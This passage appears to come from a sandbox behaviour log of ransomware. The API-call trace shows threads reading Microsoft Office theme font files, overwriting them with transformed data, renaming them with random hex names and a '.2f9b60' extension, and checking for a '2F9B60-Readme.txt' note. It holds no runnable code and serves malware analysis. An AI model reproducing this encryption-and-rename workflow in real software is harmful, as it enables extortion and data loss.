BaseAddress=0x1b85d710) returned 1 [0119.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0119.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c800 [0119.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0119.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201b5950 [0119.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201a6910 [0119.682] ReadFile (in: hFile=0x1814, lpBuffer=0x201b5950, nNumberOfBytesToRead=0xefc, lpNumberOfBytesRead=0x3f5afaf0, lpOverlapped=0x0 | out: lpBuffer=0x201b5950*, lpNumberOfBytesRead=0x3f5afaf0*=0xefc, lpOverlapped=0x0) returned 1 [0119.683] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.683] WriteFile (in: hFile=0x1814, lpBuffer=0x201a6910*, nNumberOfBytesToWrite=0xefc, lpNumberOfBytesWritten=0x3f5afaf4, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesWritten=0x3f5afaf4*=0xefc, lpOverlapped=0x0) returned 1 [0122.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0122.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0122.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262180) returned 1 [0122.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0122.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b5950) returned 1 [0122.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0122.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0122.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262180 [0122.205] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.205] WriteFile (in: hFile=0x1814, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f5afc10, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3f5afc10*=0x108, lpOverlapped=0x0) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a40 [0123.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a40) returned 1 [0123.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0123.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a40 [0123.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0123.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a70) returned 1 [0123.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0670 [0123.007] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="a8") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="12") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="7f") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="e1") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="b7") returned 2 [0123.007] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="1e") returned 2 [0123.007] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="66") returned 2 [0123.007] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="77") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="e1") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="6b") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="66") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="68") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="60") returned 2 [0123.007] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="06") returned 2 [0123.007] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="b8") returned 2 [0123.007] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="f0") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="98") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="19") returned 2 [0123.007] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="76") returned 2 [0123.008] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="1d") returned 2 [0123.008] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="c9") returned 2 [0123.008] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="64") returned 2 [0123.008] RtlInitAnsiString (in: DestinationString=0x3f5afc88, SourceString="a8127fe1b71e6677e16b66686006b8f09819761dc964" | out: DestinationString="a8127fe1b71e6677e16b66686006b8f09819761dc964") [0123.008] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f5afc58, SourceString="a8127fe1b71e6677e16b66686006b8f09819761dc964", AllocateDestinationString=1 | out: DestinationString="a8127fe1b71e6677e16b66686006b8f09819761dc964") returned 0x0 [0123.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8de0 [0123.008] wcscat (in: _Dest=0x1cd64f20, _Source="a8127fe1b71" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a8127fe1b71") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a8127fe1b71" [0123.008] wcscat (in: _Dest=0x1cd64f20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a8127fe1b71.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a8127fe1b71.2f9b60" [0123.008] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a8127fe1b71.2f9b60", NtPathName=0x3f5afc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a8127fe1b71.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x420600b0 [0123.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0123.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdaf0) returned 1 [0123.298] NtQueryInformationFile (in: FileHandle=0x1814, IoStatusBlock=0x3f5afc98, FileInformation=0x3f5afca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f5afc98, FileInformation=0x3f5afca8) returned 0x0 [0123.298] NtSetInformationFile (FileHandle=0x1814, IoStatusBlock=0x3f5afc98, FileInformation=0x3f5afca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64f20) returned 1 [0123.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8de0) returned 1 [0123.299] FlushFileBuffers (hFile=0x1814) returned 1 [0123.319] CloseHandle (hObject=0x1814) returned 1 [0123.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64f20 [0123.321] wcscpy (in: _Dest=0x1cd64f20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.321] wcscat (in: _Dest=0x1cd64f20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64f20) returned 1 [0123.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac840) returned 1 Thread: id = 1417 os_tid = 0x1878 [0119.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml")) returned 0x20 [0119.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml", dwFileAttributes=0x20) returned 1 [0119.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17f8 [0119.594] GetFileSizeEx (in: hFile=0x17f8, lpFileSize=0x3f2afaa0 | out: lpFileSize=0x3f2afaa0*=3656) returned 1 [0119.594] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.594] ReadFile (in: hFile=0x17f8, lpBuffer=0x3f2afa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f2afa68, lpOverlapped=0x0 | out: lpBuffer=0x3f2afa20*, lpNumberOfBytesRead=0x3f2afa68*=0x4, lpOverlapped=0x0) returned 1 [0119.741] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860150 [0119.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0119.742] NtQuerySystemTime (in: CurrentTime=0x3f2af960 | out: CurrentTime=0x3f2af960*=132462177251506000) returned 0x0 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x251d24d4 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x3045125e [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x176b436e [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x1e7848bd [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x33d1e8cd [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x446a8c8a [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x194be55f [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x6feaa6a8 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x1c176bfa [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x1b24b521 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0xda4acab [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x31a6f4c0 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x15aaa7f3 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x39c68a72 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x683d9c58 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x64ae040e [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x7d64fe55 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x1b24b521 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x25240e2b [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x2ee61db8 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x21619673 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x76dabc57 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x41d22b5 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x32277f00 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x5c54109c [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x317c1c00 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x5a650a55 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x4956c534 [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x446df0be [0119.742] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x1f7f84a6 [0119.743] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x37f46c1 [0119.743] RtlRandomEx (in: Seed=0x3f2af950 | out: Seed=0x3f2af950) returned 0x446a8c8a [0119.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603c0 [0119.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee90 [0119.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860210 [0119.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0119.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604b0) returned 1 [0119.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0119.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee90 [0119.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20477790 [0119.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2043f2a0 [0119.751] ReadFile (in: hFile=0x17f8, lpBuffer=0x20477790, nNumberOfBytesToRead=0xe48, lpNumberOfBytesRead=0x3f2af950, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesRead=0x3f2af950*=0xe48, lpOverlapped=0x0) returned 1 [0119.751] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.751] WriteFile (in: hFile=0x17f8, lpBuffer=0x2043f2a0*, nNumberOfBytesToWrite=0xe48, lpNumberOfBytesWritten=0x3f2af954, lpOverlapped=0x0 | out: lpBuffer=0x2043f2a0*, lpNumberOfBytesWritten=0x3f2af954*=0xe48, lpOverlapped=0x0) returned 1 [0122.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261130 [0122.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0122.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0122.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043f2a0) returned 1 [0122.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0122.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0122.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0122.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20263e90 [0122.208] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.208] WriteFile (in: hFile=0x17f8, lpBuffer=0x167940*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f2afa70, lpOverlapped=0x0 | out: lpBuffer=0x167940*, lpNumberOfBytesWritten=0x3f2afa70*=0x10c, lpOverlapped=0x0) returned 1 [0123.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0123.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0123.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85fc10 [0123.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0123.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0123.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0123.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cda0670 [0123.018] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="0c") returned 2 [0123.018] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="9e") returned 2 [0123.018] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="96") returned 2 [0123.018] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="db") returned 2 [0123.018] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="ee") returned 2 [0123.018] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="92") returned 2 [0123.018] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="98") returned 2 [0123.018] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="69") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="15") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="c5") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="34") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="1c") returned 2 [0123.019] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="f9") returned 2 [0123.019] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="92") returned 2 [0123.019] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="05") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="57") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="d5") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="61") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.019] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="00") returned 2 [0123.019] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="59") returned 2 [0123.019] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="8f") returned 2 [0123.019] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="5d") returned 2 [0123.019] sprintf (in: _Dest=0x1cda06a0, _Format="%c%c" | out: _Dest="5c") returned 2 [0123.019] sprintf (in: _Dest=0x1cda06a2, _Format="%c%c" | out: _Dest="f2") returned 2 [0123.019] RtlInitAnsiString (in: DestinationString=0x3f2afae8, SourceString="0c9e96dbee929869154cc5341cf9920557d561e900598f5d5cf2" | out: DestinationString="0c9e96dbee929869154cc5341cf9920557d561e900598f5d5cf2") [0123.019] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f2afab8, SourceString="0c9e96dbee929869154cc5341cf9920557d561e900598f5d5cf2", AllocateDestinationString=1 | out: DestinationString="0c9e96dbee929869154cc5341cf9920557d561e900598f5d5cf2") returned 0x0 [0123.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504810 [0123.019] wcscat (in: _Dest=0x1070c0, _Source="0c9e96dbee929" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0c9e96dbee929") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0c9e96dbee929" [0123.019] wcscat (in: _Dest=0x1070c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0c9e96dbee929.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0c9e96dbee929.2f9b60" [0123.019] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0c9e96dbee929.2f9b60", NtPathName=0x3f2afa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0c9e96dbee929.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776850 [0123.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776850) returned 1 [0123.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecea40) returned 1 [0123.336] NtQueryInformationFile (in: FileHandle=0x17f8, IoStatusBlock=0x3f2afaf8, FileInformation=0x3f2afb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f2afaf8, FileInformation=0x3f2afb08) returned 0x0 [0123.336] NtSetInformationFile (FileHandle=0x17f8, IoStatusBlock=0x3f2afaf8, FileInformation=0x3f2afb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 [0123.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0123.337] FlushFileBuffers (hFile=0x17f8) returned 1 [0123.349] CloseHandle (hObject=0x17f8) returned 1 [0123.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac790 [0123.354] wcscpy (in: _Dest=0x202ac790, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.354] wcscat (in: _Dest=0x202ac790, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac790) returned 1 [0123.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac8f0) returned 1 Thread: id = 1418 os_tid = 0x187c [0119.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml")) returned 0x20 [0119.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml", dwFileAttributes=0x20) returned 1 [0119.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x180c [0119.599] GetFileSizeEx (in: hFile=0x180c, lpFileSize=0x3f7bf840 | out: lpFileSize=0x3f7bf840*=3829) returned 1 [0119.599] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0xef1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.599] ReadFile (in: hFile=0x180c, lpBuffer=0x3f7bf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f7bf808, lpOverlapped=0x0 | out: lpBuffer=0x3f7bf7c0*, lpNumberOfBytesRead=0x3f7bf808*=0x4, lpOverlapped=0x0) returned 1 [0119.765] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0119.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860240 [0119.765] NtQuerySystemTime (in: CurrentTime=0x3f7bf700 | out: CurrentTime=0x3f7bf700*=132462177251818000) returned 0x0 [0119.765] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x524f14db [0119.765] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x251d24d4 [0119.765] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: 